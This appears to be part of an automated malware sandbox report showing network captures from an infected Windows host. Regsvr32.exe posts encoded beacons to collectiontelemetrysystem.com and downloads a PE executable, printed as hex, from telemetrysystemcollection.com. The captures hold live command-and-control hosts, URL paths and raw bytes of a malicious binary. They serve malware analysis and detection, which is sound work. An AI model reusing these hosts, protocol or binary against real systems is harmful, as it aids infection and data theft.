ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:46.699764967 CEST	12965	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:46 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.3	49820	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:12.069380999 CEST	3971	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:12.281008959 CEST	3992	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:11 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.3	49917	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:46.938930988 CEST	12966	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:47.172858953 CEST	12966	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:46 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.3	49826	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:12.833709955 CEST	4217	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:13.063128948 CEST	6556	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:12 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.3	49827	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:13.356868029 CEST	7711	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:13.562819004 CEST	8849	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:13 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49763	213.226.114.15	443	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-16 18:31:42 UTC	0	OUT	GET /m8YYdu/mCQ2U9/auth.aspx HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: telemetrysystemcollection.com Cache-Control: no-cache
2022-06-16 18:31:42 UTC	0	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:31:42 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 Last-Modified: Tue, 14 Jun 2022 10:57:13 GMT ETag: "64400-5e166445c61b2" Accept-Ranges: bytes Content-Length: 410624 Connection: close
2022-06-16 18:31:42 UTC	0	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 74 07 be 6a 30 66 d0 39 30 66 d0 39 30 66 d0 39 24 0d d3 38 3a 66 d0 39 24 0d d5 38 ba 66 d0 39 24 0d d4 38 22 66 d0 39 62 13 d5 38 11 66 d0 39 62 13 d4 38 3f 66 d0 39 62 13 d3 38 25 66 d0 39 24 0d d1 38 21 66 d0 39 30 66 d1 39 53 66 d0 39 68 13 d5 38 35 66 d0 39 68 13 d0 38 31 66 d0 39 68 13 d2 38 31 66 d0 39 52 69 63 68 30 66 d0 39 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$tj0f90f90f9$8:f9$8f9$8"f9b8f9b8?f9b8%f9$8!f90f9Sf9h85f9h81f9h81f9Rich0f9PEL
2022-06-16 18:31:42 UTC	8	IN	Data Raw: 10 01 0f 57 c0 66 0f 13 45 f0 eb 12 8b 55 f0 83 c2 01 8b 45 f4 83 d0 00 89 55 f0 89 45 f4 83 7d f4 00 77 43 72 06 83 7d f0 0c 73 3b 6a 00 6a 01 8b 4d f4 51 8b 55 f0 52 e8 9f 7a 04 00 8b f0 b8 01 00 00 00 6b c8 00 8d 7c 0d e4 6a 00 6a 01 8b 55 f4 52 8b 45 f0 50 e8 80 7a 04 00 8a 0c 37 88 88 b0 4d 06 10 eb a5 68 40 b0 05 10 e8 47 7a 04 00 83 c4 04 b8 b0 4d 06 10 5f 5e 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 83 ec 1c 56 57 89 4d fc c7 45 f8 0b 00 00 00 c6 45 e4 9a c6 45 e5 b6 c6 45 e6 9e c6 45 e7 64 c6 45 e8 6d c6 45 e9 68 c6 45 ea 2f c6 45 eb 65 c6 45 ec a1 c6 45 ed b1 c6 45 ee ed a1 3c 4e 06 10 83 e0 01 0f 85 88 00 00 00 8b 0d 3c 4e 06 10 83 c9 01 89 0d 3c 4e 06 10 c6 05 3b 4e 06 10 01 0f 57 c0 66 0f 13 45 f0 eb 12 8b 55 f0 83 c2 01 8b Data Ascii: WfEUEUE}wCr}s;jjMQURzk\|jjUREPz7Mh@GzM_^]UVWMEEEEEdEmEhE/EeEEE<N<N<N;NWfEU
2022-06-16 18:31:42 UTC	24	IN	Data Raw: 4c fb ff ff 03 04 91 89 85 14 fe ff ff 8b 95 14 fe ff ff 89 95 90 fe ff ff eb 45 e9 f0 fe ff ff 8b 85 94 fe ff ff 89 85 10 fe ff ff 8b 8d 10 fe ff ff 8b 11 89 95 0c fe ff ff 8b 85 0c fe ff ff 89 85 94 fe ff ff c6 45 f3 01 0f b6 4d f3 85 c9 0f 85 14 fe ff ff c7 85 90 fe ff ff 00 00 00 00 8d 95 08 fe ff ff 89 95 04 fe ff ff 8b 85 04 fe ff ff 8b 08 89 8d 00 fe ff ff 8b 95 00 fe ff ff 52 ff 95 90 fe ff ff 89 85 fc fd ff ff 83 bd fc fd ff ff 00 75 49 33 c0 88 45 f2 6a 00 68 dc c1 05 10 e8 45 b4 ff ff 89 85 f4 fd ff ff 8d 4d f2 e8 17 d5 ff ff 89 85 58 fe ff ff 8b 8d 58 fe ff ff e8 a6 8a 00 00 8b 8d 58 fe ff ff 89 8d f8 fd ff ff 8b 95 f8 fd ff ff 52 ff 95 f4 fd ff ff 33 c0 88 45 f1 8d 4d f1 e8 e0 e3 ff ff 89 85 34 fe ff ff 8b 8d 34 fe ff ff e8 2f 8b 00 00 8b 8d Data Ascii: LEEMRuI3EjhEMXXXR3EM44/
2022-06-16 18:31:42 UTC	40	IN	Data Raw: 6a 00 68 f8 c1 05 10 e8 b0 74 ff ff 89 85 f4 f6 ff ff 8d 8d 02 f6 ff ff 51 8d 4d f1 e8 db 7c ff ff 89 85 74 ff ff ff c7 85 78 ff ff ff 00 00 00 00 eb 0f 8b 95 78 ff ff ff 83 c2 01 89 95 78 ff ff ff 83 bd 78 ff ff ff 0f 73 78 8b 85 74 ff ff ff 83 c0 02 89 85 14 f7 ff ff 8b 8d 78 ff ff ff 8b 95 14 f7 ff ff 8d 04 4a 89 85 10 f7 ff ff 8b 8d 74 ff ff ff 0f be 11 8b 85 10 f7 ff ff 0f b7 08 33 ca 66 89 8d 6e fd ff ff 8b 95 74 ff ff ff 83 c2 02 89 95 0c f7 ff ff 8b 85 78 ff ff ff 8b 8d 0c f7 ff ff 8d 14 41 89 95 08 f7 ff ff 8b 85 08 f7 ff ff 66 8b 8d 6e fd ff ff 66 89 08 e9 70 ff ff ff 8b 95 74 ff ff ff 83 c2 02 89 95 04 f7 ff ff b8 0f 00 00 00 d1 e0 03 85 04 f7 ff ff 89 85 00 f7 ff ff 33 c9 8b 95 00 f7 ff ff 66 89 0a 8b 85 74 ff ff ff 83 c0 02 89 85 fc f6 ff ff Data Ascii: jhtQM\|txxxxsxtxJt3fntxAfnfpt3ft
2022-06-16 18:31:42 UTC	56	IN	Data Raw: c4 03 8d cc fd ff ff 89 4d b4 8b 95 d0 fd ff ff 89 55 b8 8b 45 b4 3b 45 b0 74 0c c7 85 3c ff ff ff 01 00 00 00 eb 0a c7 85 3c ff ff ff 00 00 00 00 8a 8d 3c ff ff ff 88 4d f0 0f b6 55 f0 85 d2 0f 84 01 01 00 00 8b 45 b4 8b 48 18 89 4d e4 8b 55 e4 89 95 08 fe ff ff 8b 45 e4 83 e8 01 89 45 e4 83 bd 08 fe ff ff 00 0f 84 d9 00 00 00 8b 4d b4 8b 55 b0 03 51 20 8b 45 b0 8b 4d e4 03 04 8a 89 85 04 fe ff ff 8b 95 04 fe ff ff 89 95 58 ff ff ff c7 85 54 ff ff ff c5 9d 1c 81 8b 85 58 ff ff ff 8a 08 88 4d ef 8b 95 58 ff ff ff 83 c2 01 89 95 58 ff ff ff 8a 45 ef 88 45 fc 0f be 4d fc 85 c9 75 0e 8b 95 54 ff ff ff 89 95 00 fe ff ff eb 19 0f be 45 fc 33 85 54 ff ff ff b9 93 01 00 01 f7 e1 89 85 54 ff ff ff eb b1 81 bd 00 fe ff ff aa 12 cf af 75 4b 8b 55 b4 8b 45 b0 03 42 Data Ascii: MUE;Et<<<MUEHMUEEMUQ EMXTXMXXEEMuTE3TTuKUEB
2022-06-16 18:31:43 UTC	72	IN	Data Raw: ff ff 03 95 d4 fe ff ff 89 95 28 fd ff ff 8b 85 38 fd ff ff 0f af 85 24 ff ff ff 89 45 a4 8b 8d 54 ff ff ff 0f af 8d 0c fe ff ff 89 4d f0 8b 95 04 ff ff ff 3b 55 98 7c 0f 8b 85 c4 fe ff ff 03 45 e4 89 85 9c fd ff ff 8b 4d c0 0f af 8d 3c ff ff ff 89 8d 9c fe ff ff 8b 55 f4 3b 55 e8 7f 12 8b 85 d4 fa ff ff 03 85 a8 fd ff ff 89 85 30 fd ff ff 8b 8d f4 fd ff ff 0f af 8d 50 ff ff ff 89 8d 58 fe ff ff 8b 55 e4 0f af 95 04 fe ff ff 89 95 48 fe ff ff 8b 85 78 fb ff ff 3b 45 f0 7f 0f 8b 8d 6c fe ff ff 03 8d 94 fd ff ff 89 4d cc 8b 95 28 ff ff ff 3b 95 b0 fa ff ff 7f 0f 8b 85 4c ff ff ff 03 45 80 89 85 20 fd ff ff 8b 8d 54 fc ff ff 3b 8d 3c fe ff ff 7c 0f 8b 95 cc fa ff ff 03 95 34 ff ff ff 89 55 b4 8b 85 4c fd ff ff 0f af 85 b0 fd ff ff 89 85 3c fb ff ff 8b 8d 7c Data Ascii: (8$ETM;U\|EM<U;U0PXUHx;ElM(;LE T;<\|4UL<\|
2022-06-16 18:31:43 UTC	88	IN	Data Raw: ec 7f 0f 8b 95 24 fe ff ff 03 55 c4 89 95 58 ff ff ff 8b 85 c4 fd ff ff 3b 85 40 fa ff ff 7f 0f 8b 8d 68 fc ff ff 03 8d e8 fe ff ff 89 4d e4 8b 95 3c ff ff ff 0f af 95 3c fe ff ff 89 95 bc fb ff ff 8b 85 58 ff ff ff 3b 85 30 fa ff ff 7f 12 8b 8d d4 fe ff ff 03 8d b4 fb ff ff 89 8d 0c fe ff ff 8b 95 bc fc ff ff 0f af 55 c4 89 55 f0 8b 85 5c ff ff ff 0f af 85 2c ff ff ff 89 85 14 fe ff ff 8b 4d f0 0f af 8d 3c ff ff ff 89 4d a4 8b 95 70 fe ff ff 3b 95 dc fe ff ff 7f 12 8b 85 f8 fd ff ff 03 85 10 fd ff ff 89 85 84 f9 ff ff 8b 8d 40 ff ff ff 3b 8d 10 fe ff ff 7f 0c 8b 55 e4 03 95 84 fd ff ff 89 55 f0 8b 85 dc fd ff ff 3b 85 44 fe ff ff 7c 12 8b 8d a4 fe ff ff 03 8d 88 f9 ff ff 89 8d 6c fc ff ff 8b 95 04 fc ff ff 3b 55 a4 7f 0c 8b 45 d0 03 45 e4 89 85 fc fc ff Data Ascii: $UX;@hM<<X;0UU\,M<Mp;@;UU;D\|l;UEE
2022-06-16 18:31:43 UTC	104	IN	Data Raw: 08 83 c0 2e 89 85 24 fb ff ff 8b 4d 08 81 c1 4b 01 00 00 89 8d 20 fb ff ff 8b 55 08 81 c2 14 01 00 00 89 95 1c fb ff ff 8b 45 08 05 12 01 00 00 89 85 18 fb ff ff 8b 4d 08 81 c1 cd 01 00 00 89 8d dc fd ff ff 8b 55 08 81 c2 d8 00 00 00 89 95 50 ff ff ff 8b 45 08 05 4c 01 00 00 89 85 14 fb ff ff 8b 4d 08 83 c1 46 89 8d 4c ff ff ff 8b 55 08 81 c2 74 01 00 00 89 95 10 fb ff ff 8b 45 08 83 c0 35 89 85 0c fb ff ff 8b 4d 08 81 c1 d3 00 00 00 89 8d 08 fb ff ff 8b 55 08 81 c2 30 01 00 00 89 55 cc 8b 45 08 83 c0 64 89 85 04 fb ff ff 8b 4d 08 83 c1 7d 89 8d d8 fd ff ff 8b 55 08 81 c2 e8 01 00 00 89 95 d4 fd ff ff 8b 45 08 05 21 01 00 00 89 85 00 fb ff ff 8b 4d 08 81 c1 cd 01 00 00 89 8d 48 ff ff ff 8b 55 08 81 c2 0b 01 00 00 89 95 fc fa ff ff 8b 45 08 05 7d 01 00 00 Data Ascii: .$MK UEMUPELMFLUtE5MU0UEdM}UE!MHUE}
2022-06-16 18:31:43 UTC	120	IN	Data Raw: ff ff 8b 45 08 83 c0 63 89 85 04 f9 ff ff 8b 4d 08 83 c1 2c 89 8d 64 ff ff ff 8b 55 08 81 c2 26 01 00 00 89 95 04 fd ff ff 8b 45 08 83 c0 79 89 85 88 fe ff ff 8b 4d 08 81 c1 90 01 00 00 89 8d 00 fd ff ff 8b 55 08 81 c2 79 01 00 00 89 95 74 fb ff ff 8b 45 08 83 c0 21 89 85 fc fc ff ff 8b 4d 08 83 c1 04 89 8d 84 fe ff ff 8b 55 08 81 c2 e7 00 00 00 89 95 60 ff ff ff 8b 45 08 83 c0 12 89 85 f8 fc ff ff 8b 4d 08 81 c1 60 01 00 00 89 8d bc f9 ff ff 8b 55 08 81 c2 98 00 00 00 89 95 70 fb ff ff 8b 45 08 05 9b 01 00 00 89 85 5c ff ff ff 8b 4d 08 83 c1 2e 89 8d 80 fe ff ff 8b 55 08 81 c2 4a 01 00 00 89 95 6c fb ff ff 8b 45 08 05 87 00 00 00 89 85 f4 fc ff ff 8b 4d 08 81 c1 8c 00 00 00 89 8d 58 ff ff ff 8b 55 08 83 c2 1b 89 95 68 fb ff ff 8b 45 08 05 d1 01 00 00 89 Data Ascii: EcM,dU&EyMUytE!MU`EM`UpE\M.UJlEMXUhE
2022-06-16 18:31:43 UTC	136	IN	Data Raw: 00 00 89 95 74 ff ff ff 8b 45 08 05 c7 01 00 00 89 85 ec fb ff ff 8b 4d 08 81 c1 74 01 00 00 89 8d 70 ff ff ff 8b 55 08 83 c2 02 89 95 e4 f9 ff ff 8b 45 08 05 54 01 00 00 89 85 bc fd ff ff 8b 4d 08 81 c1 77 01 00 00 89 8d b8 fd ff ff 8b 55 08 81 c2 b7 00 00 00 89 55 c8 8b 45 08 05 6b 01 00 00 89 85 00 f9 ff ff 8b 4d 08 81 c1 ca 01 00 00 89 8d e0 f9 ff ff 8b 55 08 81 c2 29 01 00 00 89 95 fc f8 ff ff 8b 45 08 05 77 01 00 00 89 85 b4 fd ff ff 8b 4d 08 81 c1 ee 00 00 00 89 8d e8 fb ff ff 8b 55 08 81 c2 dd 01 00 00 89 95 f8 f8 ff ff 8b 45 08 05 be 00 00 00 89 85 e4 fb ff ff 8b 4d 08 81 c1 2c 01 00 00 89 8d e0 fb ff ff 8b 55 08 81 c2 b8 01 00 00 89 95 f4 f8 ff ff 8b 45 08 83 c0 1c 89 85 dc f9 ff ff 8b 4d 08 81 c1 65 01 00 00 89 8d dc fb ff ff 8b 55 08 83 c2 2a Data Ascii: tEMtpUETMwUUEkMU)EwMUEM,UEMeU*
2022-06-16 18:31:43 UTC	152	IN	Data Raw: 85 5c ff ff ff 89 85 1c fd ff ff 8b 8d 7c f9 ff ff 0f af 8d 28 ff ff ff 89 8d 04 ff ff ff 8b 55 a8 3b 95 44 fc ff ff 7c 12 8b 85 08 ff ff ff 03 85 a4 fe ff ff 89 85 c4 fd ff ff 8b 8d 68 ff ff ff 3b 8d 40 fd ff ff 7f 0f 8b 95 5c fe ff ff 03 55 98 89 95 a0 fc ff ff 8b 85 28 fc ff ff 0f af 85 e8 fc ff ff 89 85 c8 fe ff ff 8b 8d d0 fe ff ff 3b 8d 40 fb ff ff 7c 12 8b 95 bc fa ff ff 03 95 7c ff ff ff 89 95 e0 fd ff ff 8b 85 58 fb ff ff 3b 85 5c fb ff ff 7c 0f 8b 8d a4 fe ff ff 03 8d 74 fd ff ff 89 4d bc 8b 95 20 fe ff ff 3b 95 bc fb ff ff 7f 12 8b 85 3c fc ff ff 03 85 88 fd ff ff 89 85 84 fc ff ff 8b 4d ec 3b 8d c0 fb ff ff 7f 12 8b 95 a8 fa ff ff 03 95 00 fd ff ff 89 95 28 fe ff ff 8b 85 84 fe ff ff 3b 85 a0 fd ff ff 7c 12 8b 8d a4 fb ff ff 03 8d ac fd ff ff Data Ascii: \\|(U;D\|h;@\U(;@\|\|X;\\|tM ;<M;(;\|
2022-06-16 18:31:43 UTC	168	IN	Data Raw: 85 4c fe ff ff 8b 8d 54 ff ff ff 0f af 8d f0 fe ff ff 89 8d 70 ff ff ff 8b 95 84 fb ff ff 3b 95 78 fd ff ff 7c 0f 8b 85 94 fe ff ff 03 45 a4 89 85 54 fb ff ff 8b 8d 9c fd ff ff 3b 4d e4 7f 12 8b 95 f0 fa ff ff 03 95 60 fe ff ff 89 95 e0 fe ff ff 8b 85 5c fe ff ff 3b 45 d8 7f 12 8b 8d 38 fd ff ff 03 8d fc fe ff ff 89 8d f4 fc ff ff 8b 95 d8 fd ff ff 3b 55 90 7f 12 8b 85 80 fe ff ff 03 85 4c ff ff ff 89 85 ac fb ff ff 8b 4d d4 0f af 8d fc fa ff ff 89 4d 88 8b 95 24 ff ff ff 3b 95 68 ff ff ff 7c 12 8b 85 40 fe ff ff 03 85 08 ff ff ff 89 85 0c ff ff ff 8b 8d 38 ff ff ff 3b 8d f0 fe ff ff 7c 0f 8b 95 b4 fd ff ff 03 55 c0 89 95 00 fe ff ff 8b 85 c8 fd ff ff 3b 45 ac 7c 09 8b 4d c8 03 4d fc 89 4d 80 8b 95 8c fe ff ff 3b 95 d0 fa ff ff 7c 12 8b 85 60 ff ff ff 03 Data Ascii: LTp;x\|ET;M`\;E8;ULMM$;h\|@8;\|U;E\|MMM;\|`
